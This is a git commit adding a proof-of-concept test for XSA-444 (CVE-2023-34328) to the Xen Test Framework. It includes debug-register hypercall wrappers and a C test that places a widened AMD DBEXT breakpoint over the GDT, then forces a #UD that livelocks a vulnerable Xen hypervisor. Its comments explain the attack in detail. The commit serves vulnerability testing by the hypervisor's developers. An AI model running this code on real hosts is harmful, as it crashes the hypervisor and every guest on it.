From: Andrew Cooper Date: Tue, 19 Sep 2023 13:01:27 +0000 (+0100) Subject: XSA-444 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=0a58a1471eb5f692700c0fd026ff96969b6ad7b0;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-444 PoC Signed-off-by: Andrew Cooper --- diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 3a63da4..892a9e4 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -165,6 +165,8 @@ states. @subpage test-xsa-339 - x86 pv guest kernel DoS via SYSENTER. +@subpage test-xsa-444 - x86/AMD: Debug Mask handling. + @section index-utility Utilities diff --git a/include/xtf/hypercall.h b/include/xtf/hypercall.h index fcd16dc..0d33807 100644 --- a/include/xtf/hypercall.h +++ b/include/xtf/hypercall.h @@ -77,6 +77,16 @@ static inline long hypercall_stack_switch(const unsigned int ss, const void *sp) return HYPERCALL2(long, __HYPERVISOR_stack_switch, ss, sp); } +static inline long hypercall_set_debugreg(unsigned int reg, unsigned long val) +{ + return HYPERCALL2(long, __HYPERVISOR_set_debugreg, reg, val); +} + +static inline long hypercall_get_debugreg(unsigned int reg) +{ + return HYPERCALL1(long, __HYPERVISOR_get_debugreg, reg); +} + static inline long hypercall_update_descriptor(uint64_t maddr, user_desc desc) { #ifdef __x86_64__ diff --git a/tests/xsa-444/Makefile b/tests/xsa-444/Makefile new file mode 100644 index 0000000..35119ac --- /dev/null +++ b/tests/xsa-444/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-444 +CATEGORY := xsa +TEST-ENVS := pv64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-444/main.c b/tests/xsa-444/main.c new file mode 100644 index 0000000..89cd65d --- /dev/null +++ b/tests/xsa-444/main.c @@ -0,0 +1,135 @@ +/** + * @file tests/xsa-444/main.c + * @ref test-xsa-444 + * + * @page test-xsa-444 XSA-444 + * + * Advisory: [XSA-444](https://xenbits.xen.org/xsa/advisory-444.html) + * + * This is for CVE-2023-34328 only. + * + * Xen has a per-domain mapping area, containing the live GDT/LDTs. On Xen + * 4.13 and earlier, the Compat Translate Area (XLAT) is adjacent to the + * GDT/LDTs. + * + * The XLAT area isn't used by 64bit PV guests, but it is present in the + * memory map, which is common to all guest types. The XLAT area is used by + * 32bit PV guests, but they can't set a breakpoint address above 4G, and + * therefore can't mount the attack. + * + * Prior to the XSA-444 fix, Xen allowed PV guests to place breakpoints on the + * XLAT area. Combined with the AMD DBEXT extension, a breakpoint in the XLAT + * area can be widened to cover the live GDT too. + * + * This results in one of two behaviours, both of which are fatal to Xen. + * + * - On AMD Zen2 and older, Xen suffers XSA-156 / CVE-2015-8104. + * + * - On AMD Zen3 and later, with the NoNestedDataBp hardware fix for + * CVE-2015-8104, things are more complicated. + * + * - Any IRET (which reads the GDT for %cs and %ss) will queue a new @#DB, + * which will be delivered in the interrupted context, prior to decoding + * the subsequent instruction. + * + * - The delivery of @#DB won't trigger another @#DB because of the hardware + * fix. Xen's debug handler runs normally. + * + * - If the interrupted context was guest context, the @#DB is forwarded to + * the guest kernel. For a 64bit PV guest kernel, this always uses the + * SYSRET path out of Xen, and does not trigger a new @#DB. + * + * - A 64bit PV guest kernel leaving it's @#DB handler uses HYPERCALL_iret + * in IRET mode rather than SYSRET mode. This transfers up into Xen via + * SYSCALL (no GDT reads), and leaves Xen via IRET, triggering a new @#DB + * and livelocking the guest taking @#DB's on same instruction boundary. + * + * - Any IDT delivery which isn't @#DB triggers a new @#DB, causing Xen's + * debug handler to observe a @#DB pointing at the ENDBR instruction of + * the relevant vector. The return from the debug handler is to Xen + * context, and therefore by IRET, which livelocks. + * + * - Because of the priority of INTR/NMI in the instruction cycle, they take + * priority over pending breakpoints. Therefore over time and dependent + * on external stimuli, Xen accumulates IRQS-off, blocked-by-NMI, and an + * increasing APIC Priority while still in its livelocked state. + * + * @see tests/xsa-444/main.c + */ +#include + +const char test_title[] = "XSA-444 PoC"; + +void test_main(void) +{ + unsigned long xlat; + desc_ptr gdtr; + long rc; + + if ( !cpu_has_dbext ) + return xtf_skip("Skip: DBEXT not available\n"); + + sgdt(&gdtr); + + xlat = (gdtr.base & ~((1ul << PAE_L4_PT_SHIFT) - 1)) + 0x80000000ul; + + /* Try to place %dr0 over the XLAT area. */ + rc = hypercall_set_debugreg(0, xlat); + switch ( rc ) + { + case 0: + xtf_failure("Fail: Breakpoint set on XLAT area. Probably vulnerable to XSA-444\n"); + break; + + case -EPERM: + return xtf_success("Success: Unable to set breakpoint on XLAT area. Probably not vulnerable to XSA-444\n"); + + default: + return xtf_error("Error: Unexpected error from set_debugreg(): %ld\n", rc); + } + + /* Turn %dr0 into a 4G-wide breakpoint, which covers the GDT too. */ + wrmsr(MSR_DR0_ADDR_MASK, ~0u); + + /* + * Activate %dr0. From this point on, any reference to the GDT will + * trigger @#DB. However, as the hypercall is via SYSCALL, the return is + * via SYSRET which doesn't trigger @#DB. + */ + hypercall_set_debugreg(7, DR7_SYM(0, G, RW, 64) | X86_DR7_GE); + + /* + * Beyond the hypercall setting up %dr7, Xen is running on borrowed time. + * + * Any interrupt or non-#DB exception will cause Xen to livelock in + * hypervisor context, but as long as we don't tickle any @#DB cases, we + * get to keep running. + * + * Force a #UD to cause Xen to livelock, if a stray interrupt hasn't done + * it for us already. + */ + asm volatile ("1: ud2a; 2:" + _ASM_EXTABLE(1b, 2b)); + + /* + * If vulnerable, Xen won't even reach here. Cross-check with rc from + * above to provide a definitive statement. + */ + if ( rc == -EPERM ) + return xtf_success("Success: Xen didn't livelock. Not vulnerable to XSA-444\n"); + + /* + * If we're running, then some reasoning in the test is wrong. + */ + return xtf_error("Error: Breakpoint set on XLAT but Xen didn't livelock\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */